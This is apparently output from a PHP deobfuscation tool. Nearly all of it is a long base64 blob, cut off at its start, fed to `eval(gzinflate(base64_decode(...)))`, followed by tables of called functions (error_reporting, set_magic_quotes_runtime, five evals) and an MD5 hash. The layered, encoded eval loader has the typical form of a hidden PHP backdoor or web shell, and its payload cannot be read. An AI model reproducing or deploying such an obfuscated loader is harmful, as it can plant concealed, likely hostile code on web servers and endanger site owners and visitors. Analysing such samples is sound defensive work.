mq37rMGH8b4emSgfaRFzfugvz6PBT3S6xeezT9a1yE4d5w84v/DOfkDg8G2qLfuTNesvauf3MaQekq5Qnw3wncD+k9rFc/09eD74nsv/6UbcOwP+duR9ovjnJ5HwfV3AN7vhr/3XP/VtwPeQTx6531L/UoB/t0l05/3qN95bCJ6K/Ab+3vs25f0icDLrPfNjaqgHxfvHhvqN5ug0fQ/Yn7JAfgFekfSr/tAT/Ssb6imqrLvzfuVuqK9maEwep9Tnw/NR90enYBD0YcX3jdl/wP2lO97P8D5BKuo9VZ1N9GKMcmoX5Om56vQqB/7U+op8K/d6+eeJ+nnDfi+Ir7FfqMd8q/63fhL8mH5sCvhUEy8v2hbftzoBJqCOOkn/LtTD0qQ/7J9DPdPgozd8XaWKpkJ876ivrvA+TGdV1TfUg8vAZ4sK+Djp/wAP60xTzx7xnW3XJfDbex0GWwVeBPz3gtwpTirQwJfItDJG/k7pF2+6u2KdNuz/Cl/1kfqtUQv6pSfiAfDpM1DyhPzK89uIGkaS8Q7+Wy2Qy7YDv3+p/fZx9HeTvLCfWH4hn2dH+m1c1rkk75nENRE6ol4z+BL/HjDs9ZldZn5AvdFOIj/UmzX217DM890qob86+CPe/3u58L3mn76rQzzu6bdAP7lqY9uqu5J/7JvwDnwsyc9eZj2eLrhxnjEJA8n7KGSJHfYv7/0X4DtepQVogKSevZz1YulPIGY9QY/+lw3zG/3NIrx7p0a+L9VJmWzbb56nYq+AX8f0p471Zv2e4t/ry/AJPlVgP9rGF+QNjvPQ1L8HHEf+S1v6eatpDcRjI/vPH7Qs/aOP/b5FvHR1uHro0O5nf8kIeEHx5y3w5mo0l/hTz+fDx7FSgVH03+7iZ0595Z7zVtSHj7+ob2boB3Whnq0dsR/elU6xD2z2P32fCrkwBJ/E+w2QC5NAGrGVrvnEv/hRU7pGfbjLPHVyiXyZr+fzRZ6/1OY/T/ejMfg5709k3/6mfnXWU7+lpd9EgH3S1eA8wJsZfu+Fftma9y0h12NYlP39nOJ9sB8D6x9QP4x+yrVoPmW4ewCvR+xLAl7Bfpc550ka+r2a1qCeDCXqD54F+Ts+U6cH9Q/5CPHRj7oCov7n30g9k9ayH4v3mSlKDzBimvB+2EM+AB8y3Ui9vInzGonjfSz9oMVCeZx32o2ch9T9rEd1ScVA/bB91Q2AKPKtQo3hfqFeCOKI/h9h1t+BN3bPMv/lIX/ceR6qJzeWnBfimbETGf3hOT9Rh+z/AP9ww1ObAe8rxfu9F9i/ViFPNS4c6ykt6nBHfng+urRETqY/hAI+Nhn116LWUR+OulRY/2+VI1dzHtrXMecfwZc+pX8Fv1lzPcyB848qfurNLz8N2U9K/+5ykRcD9eh2hvn6cpiAn+I0kj/1sv2URRrwvJj1NudZ0RI414zgO+IuL1omHvXT5RXrN8kcuGCidBt4Sr976m4A/rlOmjghEvh+wE+m5Tnf3G9iugb8ewiw3/25T5H3zQZIl/qFvrhXy7Y14XDIPcn7wVJeBP2IypI6gcJhHV4d/XO0kLeEfmv07xT2w9C/OZL30ybl+oK/3L3KpdtT9Mr76V3udNVEPBfVCn//i/681E89btYp+BI+Sl4r5RfJtqHesgC34v2RToqhQH6OUT87lMK7OmvqWRwM9QdDf4v14jw//bcvqYkL4DzqW9yUbvTJiM0e+4I6F/iL1NehLRvz56ZEfUF++sa//w2cg3ySUm/3Tr1lzf4f1UT0/877EXghDsjHwSd2wNM8vyrnflLwyno5EGerfCOMXuj7cWM15/Fz1UYV/hvUdL4/A394z1Vwo98V9WmBX4jfQ8R7rpfsJ7NdAnxQbekHKZfspz0a/YP99ZkU64Hzd3hJxXE5dNiP9Pe61loGjRDUm1WoT1EK/Mi5B+TrMXdH+pN/Id+leOdfeF76MynwtIJ+xuYsogbxlV3w/rR4wXqDd+sy++cHr3nefVxoY5cN+8uod8y4+THc/5c11ysCnuB8DHXqVlgf4KPhW/cD8IAYqcdK/cN0iyTAz+/ozy5+gNcL4KWA/aiZB5gPGphc/jxy+lt6r4L6IeAPW0OdHj8uMvrb9XIJ/pY1OkEcy4p6/GrhL49O4Hle6e/6pc7xMonkDe9NavBr5TeZNCHq973C+0S8NivwH5EUgn4pHuMNfKBA/Sc/pj9kJU2843xTHYqljTwf+yXYF8Ab9MfGfpr1tjp/X+duRL5G/Qf+od4L8Us0n0eAHwonVYD6eAeeAbq8WOInzocCvwxb6sWfXJzkHWqwQLwQ71Gfo5MX4Lfb7Asalgu7QS5Ur2EVCeoTaOSjqO71jWd42twXVqsA/16kBf08h7lf/DT3zw95LUDqUK+oL4uYpcI69SAe5Muo35+n4sD+R4F9oSTPuxbjG/XE2O/D8wyuN/1OUq2pp4P4v0747/dDD069oT/bfakV3h/yv91SX8QFau5fpL7QOkm2v0bqaib+YA6z3gX90Ic4WaQizyX5Lfi5NifsPw1+JjXr0xhVEfCY4LzYYHV0Fwm9HPv2rPuHDzzzdhTiZsW6on4a8uX1aNJvzhtxPZG/gPfLh6X/jRseWlGPz0N+jFEFgJCxXtTbMIWj/wdFhlD/AvBvB3w4Aq+3SESNrsP7HutkEAf0M6dnu0PcPokXj9Tb3yLb088H9Qx4D/E20B9uBf5ggec24GMa7zTEOqOeNaG+COpXr/JZv2H3xDv9Tf1cQ78l8OU8X7fJBfxd2cvs7wE8UC3GH/q7VJ7/dXCpzkL3Ump7m302curT0/8N+UZTn2rkeQw2krzVYHrZRXJu6q6AzxO9eyRm+JQO9RlsuvbTYL9hd2i6ol/3sfPxf6MOd57HfQz+Nh6xH7CGLfDMFZs8wjN86M5a7FfUh+6hz9ZVfauAL86N3xTUQ070IJHPLshnpXLynx+osvtSOyWLGOv336T7+5Qq7G+nE+oB6bOoml5sTwLPQd/ZTWyo75Qq+Vmb8S/7v+hXpS8uA58sTS5i6oFy3kPPelgt/SJ/UPskPv+Feonkq+DPuUaN5Xn2kT2+fUB/pjTfDp3q/ldfXCzBf9+18p7gauz3ecs9fc38oUS+o/5yVgJrKPClKqJ+W+cDn1zV7A84gO92E/10GjeU9XbuR9xQvz2nXhbW59R19MdlPn1Bvclqpdn/uKpcw3kwvJ/jRJ6Af5830b1C3vouVWMaap26gfrHIeqNPSFe8+71A3zCyzjvi/xFXfp/92MyTsSB55rsD/my4EMH4EGsF+e9dznnKemPIQZXTe1C66MPHob4YA0n3moq6Q6PjOewYTjr3Rj2r26FRH6O9PnXyP0MFA0+B9i07TifFByxow5LeWc/a8r3lwvw7+tThwnwfLozPfhM103UJ6rVY9JFmySee6FeOdcvpX6hjj+QV86nPv465GlyylvgwA7/Xm/p5wBsP+TL44PrYahXsGh/eD7b6IH6dZ309V+8zwj7XGEdS9Sfm8l3QeUPuV28vstJBCYPA+rxA19Z5M8r9i+49T2vpuPn/uG9W/Dg+q39LIvUpWf5/1k8Mfise3/7g3wdn4vFa2/xLOCwt/esG/aP//t//5//83/+3/8f";
eval (gzinflate(base64_decode($mrc_official)));
?>
Function Calls
| ini_set | 5 |
| gzinflate | 2 |
| base64_decode | 5 |
| clearstatcache | 1 |
| error_reporting | 1 |
| set_magic_quotes_runtime | 1 |
Stats
| MD5 | e4b28a3bcff627cd84851d24e8cf4466 |
| Eval Count | 5 |
| Decode Time | 11798 ms |